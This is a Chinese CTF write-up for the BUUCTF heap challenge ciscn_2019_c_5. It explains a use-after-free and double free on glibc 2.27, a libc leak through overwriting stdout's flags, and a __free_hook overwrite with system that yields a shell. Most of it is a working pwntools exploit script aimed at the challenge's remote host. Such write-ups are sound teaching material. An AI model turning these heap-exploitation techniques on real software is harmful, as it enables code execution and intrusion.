buu刷题记录——ciscn_2019_c_5

文件分析

ida 拉进来发现是很经典的堆题,并且 2,3 的改和查都不可用,在增的过程中可以改。

delete中存在很明显的 UAF。data 段上的堆结构体大概是这样的:

1
2
3
4
struct heap{
int size;
char *content;
}

版本 2.27,我们可以直接 double free。

但是因为保护全开,且地址难泄露,所以我们能利用的点也比较少。在这样的情况下我们只能去打IO泄露 libc 的地址了。首先构造一个 unsorted bin,因为堆块不能直接编辑我们控制另外一个堆块 double free 之后修改这里的地址。这个地址需要自己注意 libc 版本即使差异很小偏移也有可能会变。

打 stdout 的 flag 改为 0xfbad1800,IO_write_base 低字节修改成 0 就可以泄露成功。泄露成功之后直接打 free_hook 就可以 free 一个 /bin/sh 获得shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
#context.log_level='debug'
file_name='./ciscn_2019_c_5'
elf=ELF(file_name)
libc=ELF('./libc/libc-2.27-buu64.so')
success('stdout : '+hex(libc.sym['_IO_2_1_stdout_']))
def pwn():
#p=process(file_name)
p=remote('node4.buuoj.cn',27926)
def recvlibc():
return u64(p.recvuntil(b'\x7f',timeout=1)[-6:]+b'\0\0')

def choice(ch):
p.sendlineafter(b'Input your choice:',str(ch))

def add(size,content):
choice(1)
p.sendlineafter(b'Please input the size of story: ',str(size))
p.sendafter(b'please inpute the story: ',content)

def free(index):
choice(4)
p.sendlineafter(b'Please input the index:',str(index))

p.sendafter(b'What\'s your name?',b'/bin/sh\0')
p.sendafter(b'Please input your ID.',b'/bin/sh\0')
add(0x88,b'a'*0x88)#0
add(0x18,b'a'*0x18)#1
add(0x28,b'a'*0x28)#2
add(0x38,b'/bin/sh\0')#3
for i in range(8):
free(0)

free(1)
free(1)
add(0x18,b'\x60')#3
add(0x18,b'a'*0x18)#4
#gdb.attach(p)
add(0x18,b'\x60\x77')#5
add(0x88,b'a'*0x8)#6
add(0x88,p64(0xfbad1800)+b'\x00'*0x19)#7
libc_addr=recvlibc()-0x3ed8b0
success('libc_addr: '+hex(libc_addr))
free(2)
free(2)
add(0x28,p64(libc_addr+libc.sym['__free_hook']))#8
add(0x28,b'a'*8)#9
add(0x28,p64(libc_addr+libc.sym['system']))#10
free(3)
p.interactive()


while True:
try:
pwn()
except:
continue
break

这里需要爆破半个字节,所以就采用 try except 的形式跑了。

结果